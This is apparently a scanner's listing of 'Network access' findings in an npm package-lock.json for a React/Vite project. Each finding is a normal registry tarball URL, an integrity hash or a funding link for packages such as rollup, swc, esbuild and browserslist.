    "node_modules/@rollup/rollup-openharmony-arm64": {       "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.54.0.tgz",
  • Network accessline 1044
    "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.54.0.tgz",       "integrity": "sha512-huT3fd0iC7jigGh7n3q/+lfPcXxBi+om/Rs3yiFxjvSxbSB6aohDFXbWvlspaqjeOh+hx7DDH
  • Network accessline 1045
    "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.54.0.tgz",
  • Network accessline 1057
    "node_modules/@rollup/rollup-win32-arm64-msvc": {       "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.54.0.tgz",
  • Network accessline 1058
    "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.54.0.tgz",       "integrity": "sha512-c2V0W1bsKIKfbLMBu/WGBz6Yci8nJ/ZJdheE0EwB73N3MvHYKiKGs3mVilX4Gs70eGeDaMqEob2
  • Network accessline 1059
    "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.54.0.tgz",
  • Network accessline 1071
    "node_modules/@rollup/rollup-win32-ia32-msvc": {       "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.54.0.tgz",
  • Network accessline 1072
    "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.54.0.tgz",       "integrity": "sha512-woEHgqQqDCkAzrDhvDipnSirm5vxUXtSKDYTVpZG3nUdW/VVB5VdCYA2iReSj/u3yCZzXID4kuKG7
  • Network accessline 1073
    "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.54.0.tgz",
  • Network accessline 1085
    "node_modules/@rollup/rollup-win32-x64-gnu": {       "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.54.0.tgz",
  • Network accessline 1086
    "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.54.0.tgz",       "integrity": "sha512-dzAc53LOuFvHwbCEOS0rPbXp6SIhAf2txMP5p6mGyOXXw5mWY8NGGbPMPrs4P1WItkfApDathBj/NzMLU
  • Network accessline 1087
    "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.54.0.tgz",
  • Network accessline 1099
    "node_modules/@rollup/rollup-win32-x64-msvc": {       "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.54.0.tgz",
  • Network accessline 1100
    "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.54.0.tgz",       "integrity": "sha512-hYT5d3YNdSh3mbCU1gwQyPgQd3T2ne0A3KG8KSBdav5TiBg6eInVmV+TeR5uHufiIgSFg0XsOWGW5/R
  • Network accessline 1101
    "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.54.0.tgz",
  • Network accessline 1113
    "node_modules/@swc/core": {       "version": "1.15.8",       "resolved": "https://registry.npmjs.org/@swc/core/-/core-1.15.8.tgz",
  • Network accessline 1114
    "version": "1.15.8",       "resolved": "https://registry.npmjs.org/@swc/core/-/core-1.15.8.tgz",       "integrity": "sha512-T8keoJjXaSUoVBCIjgL6wAnhADIb09GOELzKg10CjNg+vLX48P93SME6jTfte9MZIm5m+Il57H3rTSk/0kzDUw==",
  • Network accessline 1115
    "resolved": "https://registry.npmjs.org/@swc/core/-/core-1.15.8.tgz",
  • Network accessline 1127
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/swc"
  • Network accessline 1128
    "type": "opencollective",         "url": "https://opencollective.com/swc"       },
  • Network accessline 1129
    "url": "https://opencollective.com/swc"
  • Network accessline 1152
    "node_modules/@swc/core-darwin-arm64": {       "version": "1.15.8",       "resolved": "https://registry.npmjs.org/@swc/core-darwin-arm64/-/core-darwin-arm64-1.15.8.tgz",
  • Network accessline 1153
    "version": "1.15.8",       "resolved": "https://registry.npmjs.org/@swc/core-darwin-arm64/-/core-darwin-arm64-1.15.8.tgz",       "integrity": "sha512-M9cK5GwyWWRkRGwwCbREuj6r8jKdES/haCZ3Xckgkl8MUQJZA3XB7IXXK1IXRNeLjg6m7cnoMICpXv1v1hlJOg==",
  • Network accessline 1154
    "resolved": "https://registry.npmjs.org/@swc/core-darwin-arm64/-/core-darwin-arm64-1.15.8.tgz",
  • Network accessline 1169
    "node_modules/@swc/core-darwin-x64": {       "version": "1.15.8",       "resolved": "https://registry.npmjs.org/@swc/core-darwin-x64/-/core-darwin-x64-1.15.8.tgz",
  • Network accessline 1170
    "version": "1.15.8",       "resolved": "https://registry.npmjs.org/@swc/core-darwin-x64/-/core-darwin-x64-1.15.8.tgz",       "integrity": "sha512-j47DasuOvXl80sKJHSi2X25l44CMc3VDhlJwA7oewC1nV1VsSzwX+KOwE5tLnfORvVJJyeiXgJORNYg4jeIjYQ==",
  • Network accessline 1171
    "resolved": "https://registry.npmjs.org/@swc/core-darwin-x64/-/core-darwin-x64-1.15.8.tgz",
  • Network accessline 1186
    "node_modules/@swc/core-linux-arm-gnueabihf": {       "version": "1.15.8",       "resolved": "https://registry.npmjs.org/@swc/core-linux-arm-gnueabihf/-/core-linux-arm-gnueabihf-1.15.8.tgz",
  • Network accessline 1187
    "version": "1.15.8",       "resolved": "https://registry.npmjs.org/@swc/core-linux-arm-gnueabihf/-/core-linux-arm-gnueabihf-1.15.8.tgz",       "integrity": "sha512-siAzDENu2rUbwr9+fayWa26r5A9fol1iORG53HWxQL1J8ym4k7xt9eME0dMPXlYZDytK5r9sW8zE
  • Network accessline 1188
    "resolved": "https://registry.npmjs.org/@swc/core-linux-arm-gnueabihf/-/core-linux-arm-gnueabihf-1.15.8.tgz",
  • Network accessline 1203
    "node_modules/@swc/core-linux-arm64-gnu": {       "version": "1.15.8",       "resolved": "https://registry.npmjs.org/@swc/core-linux-arm64-gnu/-/core-linux-arm64-gnu-1.15.8.tgz",
  • Network accessline 1204
    "version": "1.15.8",       "resolved": "https://registry.npmjs.org/@swc/core-linux-arm64-gnu/-/core-linux-arm64-gnu-1.15.8.tgz",       "integrity": "sha512-o+1y5u6k2FfPYbTRUPvurwzNt5qd0NTumCTFscCNuBksycloXY16J8L+SMW5QRX59n4Hp9EmFa3vpvNHRVv1
  • Network accessline 1205
    "resolved": "https://registry.npmjs.org/@swc/core-linux-arm64-gnu/-/core-linux-arm64-gnu-1.15.8.tgz",
  • Network accessline 1220
    "node_modules/@swc/core-linux-arm64-musl": {       "version": "1.15.8",       "resolved": "https://registry.npmjs.org/@swc/core-linux-arm64-musl/-/core-linux-arm64-musl-1.15.8.tgz",
  • Network accessline 1221
    "version": "1.15.8",       "resolved": "https://registry.npmjs.org/@swc/core-linux-arm64-musl/-/core-linux-arm64-musl-1.15.8.tgz",       "integrity": "sha512-koiCqL09EwOP1S2RShCI7NbsQuG6r2brTqUYE7pV7kZm9O17wZ0LSz22m6gVibpwEnw8jI3IE1yYsQTVpl
  • Network accessline 1222
    "resolved": "https://registry.npmjs.org/@swc/core-linux-arm64-musl/-/core-linux-arm64-musl-1.15.8.tgz",
  • Network accessline 1237
    "node_modules/@swc/core-linux-x64-gnu": {       "version": "1.15.8",       "resolved": "https://registry.npmjs.org/@swc/core-linux-x64-gnu/-/core-linux-x64-gnu-1.15.8.tgz",
  • Network accessline 1238
    "version": "1.15.8",       "resolved": "https://registry.npmjs.org/@swc/core-linux-x64-gnu/-/core-linux-x64-gnu-1.15.8.tgz",       "integrity": "sha512-4p6lOMU3bC+Vd5ARtKJ/FxpIC5G8v3XLoPEZ5s7mLR8h7411HWC/LmTXDHcrSXRC55zvAVia1eldy6zDLz8iFQ==
  • Network accessline 1239
    "resolved": "https://registry.npmjs.org/@swc/core-linux-x64-gnu/-/core-linux-x64-gnu-1.15.8.tgz",
  • Network accessline 1254
    "node_modules/@swc/core-linux-x64-musl": {       "version": "1.15.8",       "resolved": "https://registry.npmjs.org/@swc/core-linux-x64-musl/-/core-linux-x64-musl-1.15.8.tgz",
  • Network accessline 1255
    "version": "1.15.8",       "resolved": "https://registry.npmjs.org/@swc/core-linux-x64-musl/-/core-linux-x64-musl-1.15.8.tgz",       "integrity": "sha512-z3XBnbrZAL+6xDGAhJoN4lOueIxC/8rGrJ9tg+fEaeqLEuAtHSW2QHDHxDwkxZMjuF/pZ6MUTjHjbp8wLbuRLA
  • Network accessline 1256
    "resolved": "https://registry.npmjs.org/@swc/core-linux-x64-musl/-/core-linux-x64-musl-1.15.8.tgz",
  • Network accessline 1271
    "node_modules/@swc/core-win32-arm64-msvc": {       "version": "1.15.8",       "resolved": "https://registry.npmjs.org/@swc/core-win32-arm64-msvc/-/core-win32-arm64-msvc-1.15.8.tgz",
  • Network accessline 1272
    "version": "1.15.8",       "resolved": "https://registry.npmjs.org/@swc/core-win32-arm64-msvc/-/core-win32-arm64-msvc-1.15.8.tgz",       "integrity": "sha512-djQPJ9Rh9vP8GTS/Df3hcc6XP6xnG5c8qsngWId/BLA9oX6C7UzCPAn74BG/wGb9a6j4w3RINuoaieJB3t
  • Network accessline 1273
    "resolved": "https://registry.npmjs.org/@swc/core-win32-arm64-msvc/-/core-win32-arm64-msvc-1.15.8.tgz",
  • Network accessline 1288
    "node_modules/@swc/core-win32-ia32-msvc": {       "version": "1.15.8",       "resolved": "https://registry.npmjs.org/@swc/core-win32-ia32-msvc/-/core-win32-ia32-msvc-1.15.8.tgz",
  • Network accessline 1289
    "version": "1.15.8",       "resolved": "https://registry.npmjs.org/@swc/core-win32-ia32-msvc/-/core-win32-ia32-msvc-1.15.8.tgz",       "integrity": "sha512-/wfAgxORg2VBaUoFdytcVBVCgf1isWZIEXB9MZEUty4wwK93M/PxAkjifOho9RN3WrM3inPLabICRCEgdHpK
  • Network accessline 1290
    "resolved": "https://registry.npmjs.org/@swc/core-win32-ia32-msvc/-/core-win32-ia32-msvc-1.15.8.tgz",
  • Network accessline 1305
    "node_modules/@swc/core-win32-x64-msvc": {       "version": "1.15.8",       "resolved": "https://registry.npmjs.org/@swc/core-win32-x64-msvc/-/core-win32-x64-msvc-1.15.8.tgz",
  • Network accessline 1306
    "version": "1.15.8",       "resolved": "https://registry.npmjs.org/@swc/core-win32-x64-msvc/-/core-win32-x64-msvc-1.15.8.tgz",       "integrity": "sha512-GpMePrh9Sl4d61o4KAHOOv5is5+zt6BEXCOCgs/H0FLGeii7j9bWDE8ExvKFy2GRRZVNR1ugsnzaGWHKM6kuzA
  • Network accessline 1307
    "resolved": "https://registry.npmjs.org/@swc/core-win32-x64-msvc/-/core-win32-x64-msvc-1.15.8.tgz",
  • Network accessline 1322
    "node_modules/@swc/counter": {       "version": "0.1.3",       "resolved": "https://registry.npmjs.org/@swc/counter/-/counter-0.1.3.tgz",
  • Network accessline 1323
    "version": "0.1.3",       "resolved": "https://registry.npmjs.org/@swc/counter/-/counter-0.1.3.tgz",       "integrity": "sha512-e2BR4lsJkkRlKZ/qCHPw9ZaSxc0MVUd7gtbtaB7aMvHeJVYe8sOB8DBZkP2DtISHGSku9sCK6T6cnY0CtXrOCQ==",
  • Network accessline 1324
    "resolved": "https://registry.npmjs.org/@swc/counter/-/counter-0.1.3.tgz",
  • Network accessline 1329
    "node_modules/@swc/types": {       "version": "0.1.25",       "resolved": "https://registry.npmjs.org/@swc/types/-/types-0.1.25.tgz",
  • Network accessline 1330
    "version": "0.1.25",       "resolved": "https://registry.npmjs.org/@swc/types/-/types-0.1.25.tgz",       "integrity": "sha512-iAoY/qRhNH8a/hBvm3zKj9qQ4oc2+3w1unPJa2XvTK3XjeLXtzcCingVPw/9e5mn1+0yPqxcBGp9Jf0pkfMb1g==",
  • Network accessline 1331
    "resolved": "https://registry.npmjs.org/@swc/types/-/types-0.1.25.tgz",
  • Network accessline 1339
    "node_modules/@types/babel__core": {       "version": "7.20.5",       "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz",
  • Network accessline 1340
    "version": "7.20.5",       "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz",       "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==",
  • Network accessline 1341
    "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz",
  • Network accessline 1353
    "node_modules/@types/babel__generator": {       "version": "7.27.0",       "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz",
  • Network accessline 1354
    "version": "7.27.0",       "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz",       "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==",
  • Network accessline 1355
    "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz",
  • Network accessline 1363
    "node_modules/@types/babel__template": {       "version": "7.4.4",       "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz",
  • Network accessline 1364
    "version": "7.4.4",       "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz",       "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==",
  • Network accessline 1365
    "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz",
  • Network accessline 1374
    "node_modules/@types/babel__traverse": {       "version": "7.28.0",       "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz",
  • Network accessline 1375
    "version": "7.28.0",       "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz",       "integrity": "sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==",
  • Network accessline 1376
    "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz",
  • Network accessline 1384
    "node_modules/@types/estree": {       "version": "1.0.8",       "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz",
  • Network accessline 1385
    "version": "1.0.8",       "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz",       "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==",
  • Network accessline 1386
    "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz",
  • Network accessline 1391
    "node_modules/@types/react": {       "version": "19.2.7",       "resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.7.tgz",
  • Network accessline 1392
    "version": "19.2.7",       "resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.7.tgz",       "integrity": "sha512-MWtvHrGZLFttgeEj28VXHxpmwYbor/ATPYbBfSFZEIRK0ecCFLl2Qo55z52Hss+UV9CRN7trSeq1zbgx7YDWWg==",
  • Network accessline 1393
    "resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.7.tgz",
  • Network accessline 1401
    "node_modules/@types/react-dom": {       "version": "19.2.3",       "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.2.3.tgz",
  • Network accessline 1402
    "version": "19.2.3",       "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.2.3.tgz",       "integrity": "sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ==",
  • Network accessline 1403
    "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.2.3.tgz",
  • Network accessline 1411
    "node_modules/@vitejs/plugin-react": {       "version": "4.7.0",       "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-4.7.0.tgz",
  • Network accessline 1412
    "version": "4.7.0",       "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-4.7.0.tgz",       "integrity": "sha512-gUu9hwfWvvEDBBmgtAowQCojwZmJ5mcLn3aufeCsitijs3+f2NsrPtlAWIR6OPiqljl96GVCUbLe0HyqIpVaoA==",
  • Network accessline 1413
    "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-4.7.0.tgz",
  • Network accessline 1432
    "node_modules/@vitejs/plugin-react-swc": {       "version": "3.11.0",       "resolved": "https://registry.npmjs.org/@vitejs/plugin-react-swc/-/plugin-react-swc-3.11.0.tgz",
  • Network accessline 1433
    "version": "3.11.0",       "resolved": "https://registry.npmjs.org/@vitejs/plugin-react-swc/-/plugin-react-swc-3.11.0.tgz",       "integrity": "sha512-YTJCGFdNMHCMfjODYtxRNVAYmTWQ1Lb8PulP/2/f/oEEtglw8oKxKIZmmRkyXrVrHfsKOaVkAc3NT9/dMutO5w=="
  • Network accessline 1434
    "resolved": "https://registry.npmjs.org/@vitejs/plugin-react-swc/-/plugin-react-swc-3.11.0.tgz",
  • Network accessline 1446
    "node_modules/baseline-browser-mapping": {       "version": "2.9.11",       "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.9.11.tgz",
  • Network accessline 1447
    "version": "2.9.11",       "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.9.11.tgz",       "integrity": "sha512-Sg0xJUNDU1sJNGdfGWhVHX0kkZ+HWcvmVymJbj6NSgZZmW/8S9Y2HQ5euytnIgakgxN6papOAWiwDo1ct
  • Network accessline 1448
    "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.9.11.tgz",
  • Network accessline 1456
    "node_modules/browserslist": {       "version": "4.28.1",       "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.1.tgz",
  • Network accessline 1457
    "version": "4.28.1",       "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.1.tgz",       "integrity": "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==",
  • Network accessline 1458
    "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.1.tgz",
  • Network accessline 1462
    {           "type": "opencollective",           "url": "https://opencollective.com/browserslist"
  • Network accessline 1463
    "type": "opencollective",           "url": "https://opencollective.com/browserslist"         },
  • Network accessline 1464
    "url": "https://opencollective.com/browserslist"
  • Network accessline 1466
    {           "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/browserslist"
  • Network accessline 1467
    "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/browserslist"         },
  • Network accessline 1468
    "url": "https://tidelift.com/funding/github/npm/browserslist"
  • Network accessline 1470
    {           "type": "github",           "url": "https://github.com/sponsors/ai"
  • Network accessline 1471
    "type": "github",           "url": "https://github.com/sponsors/ai"         }
  • Network accessline 1472
    "url": "https://github.com/sponsors/ai"
  • Network accessline 1490
    "node_modules/caniuse-lite": {       "version": "1.0.30001762",       "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001762.tgz",
  • Network accessline 1491
    "version": "1.0.30001762",       "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001762.tgz",       "integrity": "sha512-PxZwGNvH7Ak8WX5iXzoK1KPZttBXNPuaOvI2ZYU7NrlM+d9Ov+TUvlLOBNGzVXAntMSMMlJPd+jY6ovrVjSmUw==",
  • Network accessline 1492
    "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001762.tgz",
  • Network accessline 1496
    {           "type": "opencollective",           "url": "https://opencollective.com/browserslist"
  • Network accessline 1497
    "type": "opencollective",           "url": "https://opencollective.com/browserslist"         },
  • Network accessline 1498
    "url": "https://opencollective.com/browserslist"
  • Network accessline 1500
    {           "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/caniuse-lite"
  • Network accessline 1501
    "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/caniuse-lite"         },
  • Network accessline 1502
    "url": "https://tidelift.com/funding/github/npm/caniuse-lite"
  • Network accessline 1504
    {           "type": "github",           "url": "https://github.com/sponsors/ai"
  • Network accessline 1505
    "type": "github",           "url": "https://github.com/sponsors/ai"         }
  • Network accessline 1506
    "url": "https://github.com/sponsors/ai"
  • Network accessline 1511
    "node_modules/convert-source-map": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz",
  • Network accessline 1512
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz",       "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==",
  • Network accessline 1513
    "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz",
  • Network accessline 1518
    "node_modules/csstype": {       "version": "3.2.3",       "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz",
  • Network accessline 1519
    "version": "3.2.3",       "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz",       "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==",
  • Network accessline 1520
    "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz",
  • Network accessline 1525
    "node_modules/debug": {       "version": "4.4.3",       "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
  • Network accessline 1526
    "version": "4.4.3",       "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",       "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
  • Network accessline 1527
    "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
  • Network accessline 1543
    "node_modules/electron-to-chromium": {       "version": "1.5.267",       "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.267.tgz",
  • Network accessline 1544
    "version": "1.5.267",       "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.267.tgz",       "integrity": "sha512-0Drusm6MVRXSOJpGbaSVgcQsuB4hEkMpHXaVstcPmhu5LIedxs1xNK/nIxmQIU/RPC0+1/o0AVZfBTkTNJOdUw=
  • Network accessline 1545
    "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.267.tgz",
  • Network accessline 1550
    "node_modules/esbuild": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz",
  • Network accessline 1551
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz",       "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==",
  • Network accessline 1552
    "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz",
  • Network accessline 1592
    "node_modules/escalade": {       "version": "3.2.0",       "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz",
  • Network accessline 1593
    "version": "3.2.0",       "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz",       "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==",
  • Network accessline 1594
    "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz",
  • Network accessline 1602
    "node_modules/fdir": {       "version": "6.5.0",       "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
  • Network accessline 1603
    "version": "6.5.0",       "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",       "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==",
  • Network accessline 1604
    "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
  • Network accessline 1620
    "node_modules/fsevents": {       "version": "2.3.3",       "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",
  • Network accessline 1621
    "version": "2.3.3",       "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",       "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==",
  • Network accessline 1622
    "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",
  • Network accessline 1635
    "node_modules/gensync": {       "version": "1.0.0-beta.2",       "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz",
  • Network accessline 1636
    "version": "1.0.0-beta.2",       "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz",       "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==",
  • Network accessline 1637
    "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz",
  • Network accessline 1645
    "node_modules/js-tokens": {       "version": "4.0.0",       "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
  • Network accessline 1646
    "version": "4.0.0",       "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",       "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==",
  • Network accessline 1647
    "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
  • Network accessline 1652
    "node_modules/jsesc": {       "version": "3.1.0",       "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz",
  • Network accessline 1653
    "version": "3.1.0",       "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz",       "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==",
  • Network accessline 1654
    "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz",
  • Network accessline 1665
    "node_modules/json5": {       "version": "2.2.3",       "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz",
  • Network accessline 1666
    "version": "2.2.3",       "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz",       "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==",
  • Network accessline 1667
    "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz",
  • Network accessline 1678
    "node_modules/lru-cache": {       "version": "5.1.1",       "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",
  • Network accessline 1679
    "version": "5.1.1",       "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",       "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==",
  • Network accessline 1680
    "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",
  • Network accessline 1688
    "node_modules/ms": {       "version": "2.1.3",       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
  • Network accessline 1689
    "version": "2.1.3",       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",       "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
  • Network accessline 1690
    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
  • Network accessline 1695
    "node_modules/nanoid": {       "version": "3.3.11",       "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz",
  • Network accessline 1696
    "version": "3.3.11",       "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz",       "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==",
